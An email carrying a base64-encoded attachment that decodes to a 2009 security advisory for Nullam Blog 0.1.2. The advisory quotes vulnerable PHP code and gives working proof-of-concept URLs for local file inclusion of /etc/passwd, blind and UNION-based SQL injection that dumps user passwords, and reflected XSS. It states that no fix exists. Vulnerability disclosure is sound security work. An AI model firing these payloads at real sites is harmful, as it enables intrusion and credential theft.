--0016367d6a3c812a3c04732cea47
Content-Type: text/plain; charset=UTF-8

-- 
Salvatore Fresta aka drosophila
CWNP444351

--0016367d6a3c812a3c04732cea47
Content-Type: text/plain; charset=windows-1257; 
	name="Nullam Blog Multiple Remote Vulnerabilities-10092009.txt"
Content-Disposition: attachment; 
	filename="Nullam Blog Multiple Remote Vulnerabilities-10092009.txt"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_fzenzalw0

KioqKioqKiogICBTYWx2YXRvcmUgImRyb3NvcGhpbGEiIEZyZXN0YSAgICoqKioqKioqCgpbK10g
QXBwbGljYXRpb246IE51bGxhbSBCbG9nClsrXSBWZXJzaW9uOiAwLjEuMgpbK10gV2Vic2l0ZTog
aHR0cDovL251bGxhbS5uZXQvCgpbK10gQnVnczogW0FdIExvY2FsIEZpbGUgSW5jbHVzaW9uCiAg
ICAgICAgICBbQl0gRmlsZSBEaXNjbG9zdXJlCiAgICAgICAgICBbQ10gTXVsdGlwbGUgQmxpbmQg
U1FMIEluamVjdGlvbgogICAgICAgICAgW0RdIFNRTCBJbmplY3Rpb24KICAgICAgICAgIFtFXSBS
ZWZsZWN0ZWQgWFNTCgpbK10gRXhwbG9pdGF0aW9uOiBSZW1vdGUKWytdIERhdGU6IDEwIFNlcCAy
MDA5CgpbK10gRGlzY292ZXJlZCBieTogU2FsdmF0b3JlIEZyZXN0YSBha2EgZHJvc29waGlsYQpb
K10gQXV0aG9yOiBTYWx2YXRvcmUgRnJlc3RhIGFrYSBkcm9zb3BoaWxhClsrXSBFLW1haWw6IGRy
b3NvcGhpbGF4eHggW2F0XSBnbWFpbC5jb20KCgoqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioKClsrXSBNZW51CgoxKSBCdWdzCjIpIENvZGUKMykgRml4
CgoKKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCgpb
K10gQnVncwoKVGhlIGZvbGxvd2luZyBmbGF3cyBhcmUgdGVzdGVkIG9uIHZlcnNpb24gMC4xLjIu
Ck90aGVyIHZlcnNpb25zIG1heSBhbHNvIGJlIGFmZmVjdGVkLgoKCi0gW0FdIExvY2FsIEZpbGUg
SW5jbHVzaW9uCgpbLV0gUmlzazogaGlnaApbLV0gRmlsZSBhZmZlY3RlZDogaW5kZXgucGhwCgpU
aGlzIGJ1ZyBhbGxvd3MgYSBndWVzdCB0byBpbmNsdWRlIGEgbG9jYWwgZmlsZS4KCi4uLgoKJHN0
YXRpYyA9IGZhbHNlOwoKaWYoIWlzc2V0KCRfR0VUWydwJ10pKSB7DQoJJGluY2x1ZGUgPSAiLi9w
YWdlcy9uZXdzLnBocCI7DQp9IGVsc2Ugew0KCSRpbmNsdWRlID0gIi4vcGFnZXMvIiAuICRfR0VU
WydwJ10gLiAiLnBocCI7DQp9CgouLi4KCmlmKCEkc3RhdGljKSB7CglpbmNsdWRlKCRpbmNsdWRl
KTsKfQoKLi4uCgoKLSBbQl0gRmlsZSBEaXNjbG9zdXJlCgpbLV0gUmlzazogbWVkaXVtClstXSBG
aWxlIGFmZmVjdGVkOiBpbmRleC5waHAKClRoaXMgYnVnIGFsbG93cyBhIGd1ZXN0IHRvIHZpZXcg
dGhlIGNvbnRlbnQgb2YgYQpsb2NhbCBmaWxlLgoKLi4uCgppZihpc3NldCgkX0dFVFsncyddKSkg
ewoJJHN0YXRpYyA9IHRydWU7CgkkaW5jbHVkZSA9ICIuL3BhZ2VzL2N1c3RvbS8iIC4gJF9HRVRb
J3MnXSAuICIuaHRtbCI7Cn0KCi4uLgoKaWYoISRzdGF0aWMpIHsKCWluY2x1ZGUoJGluY2x1ZGUp
Owp9IGVsc2UgewoJJHBhZ2VTbWFydHkgPSBuZXcgU21hcnR5OwoJJHBhZ2VTbWFydHktPmFzc2ln
bignaHRtbCcsIGZpbGVfZ2V0X2NvbnRlbnRzKCRpbmNsdWRlKSk7CgkKLi4uCgoKLSBbQ10gQmxp
bmQgU1FMIEluamVjdGlvbgoKWy1dIFJpc2s6IG1lZGl1bQpbLV0gRmlsZSBhZmZlY3RlZDogbmV3
cy5waHAsIHJlZ2lzdGVyLnBocAoKVGhlc2UgYnVncyBhbGxvd3MgYSBndWVzdCB0byBpbmplY3Qg
U1FMIHN0YXRlbWVudHMKaW50byB0aGUgYWZmZWN0ZWQgcXVlcmllcy4KCgotIFtEXSBTUUwgSW5q
ZWN0aW9uCgpbLV0gUmlzazogaGlnaApbLV0gRmlsZSBhZmZlY3RlZDogcmVnaXN0ZXIucGhwCgpU
aGlzIGJ1ZyBhbGxvd3MgYSBndWVzdCB0byBpbmplY3QgU1FMIHN0YXRlbWVudHMKaW50byB0aGUg
YWZmZWN0ZWQgcXVlcnkuCgouLi4KCiRyZXN1bHQgPSBteXNxbF9xdWVyeShzcHJpbnRmKCJTRUxF
Q1QgYHVuYW1lYCxgdmVyaWZpZWRgIEZST00gYHVzZXJzYCBXSEVSRSBgdmVyaWZ5SGFzaGA9JyVz
JyBMSU1JVCAxOyIsICRfR0VUWyd2J10pKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CglpZihteXNx
bF9udW1yb3dzKCRyZXN1bHQpICE9IDEpIHsKCQkkbXNnID0gIkludmFsaWQgdmVyaWZpY2F0aW9u
IGhhc2ghIElmIHlvdSBmb2xsb3dlZCB0aGUgbGluayB5b3UgcmVjZWl2ZWQgaW4geW91ciBlbWFp
bCBwbGVhc2UgY29udGFjdCBhbiBhZG1pbiBhbmQgcmVxdWVzdCBhIG5ldyB2ZXJpZmljYXRpb24g
ZW1haWwuIjsKCX0gZWxzZSB7CgkJJG1zZyA9ICJVc2VyICIgLiBteXNxbF9yZXN1bHQoJHJlc3Vs
dCwgMCwgJ3VuYW1lJykgLiAiIHN1Y2Nlc3NmdWxseSB2ZXJpZmllZCEgeW91IG1heSBub3cgbG9n
aW4gdXNpbmcgdGhlIGZvcm0gb24gdGhlIG1haW4gcGFnZSEiOwoJfQoJCi4uLgoKCioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgoKWytdIENvZGUKCgot
IFtBXSBMb2NhbCBGaWxlIEluY2x1c2lvbgoKaHR0cDovL3NpdGUvcGF0aC9pbmRleC5waHA/cD0u
Li8uLi8uLi8uLi8uLi8uLi9ldGMvcGFzc3dkJTAwCgoKLSBbQl0gRmlsZSBEaXNjbG9zdXJlCgpo
dHRwOi8vc2l0ZS9wYXRoL2luZGV4LnBocD9zPS4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNz
d2QAJTAwCgoKLSBbQ10gTXVsdGlwbGUgQmxpbmQgU1FMIEluamVjdGlvbgoKaHR0cDovL3NpdGUv
cGF0aC9pbmRleC5waHA/eT0xJmk9JTI1LTElMjUnIE9SIElGKEFTQ0lJKENIQVIoOTcpKSA9IDk3
LEJFTkNITUFSSygxMDAwMDAwMDAwMCxudWxsKSxudWxsKSUyMwoKaHR0cDovL3NpdGUvcGF0aC9p
bmRleC5waHA/cD1yZWdpc3RlciZ2PTEnIE9SIElGKEFTQ0lJKENIQVIoOTcpKSA9IDk3LEJFTkNI
TUFSSygxMDAwMDAwMDAwMCxudWxsKSxudWxsKSUyMwoKCi0gW0RdIFNRTCBJbmplY3Rpb24KCmh0
dHA6Ly9zaXRlL3BhdGgvaW5kZXgucGhwP3A9cmVnaXN0ZXImdj0tMScgVU5JT04gQUxMIFNFTEVD
VCBHUk9VUF9DT05DQVQodW5hbWUsMHgzYSxwYXNzd2QpLDIgRlJPTSB1c2VycyUyMwoKCi0gW0Vd
IFJlZmxlY3RlZCBYU1MKCmh0dHA6Ly9zaXRlL3BhdGgvaW5kZXgucGhwP3A9ZXJyb3ImZT08c2Ny
aXB0PmFsZXJ0KCdYU1MnKTs8L3NjcmlwdD4KCgoqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioKClsrXSBGaXgKCk5vIGZpeC4KCgoqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio--0016367d6a3c812a3c04732cea47--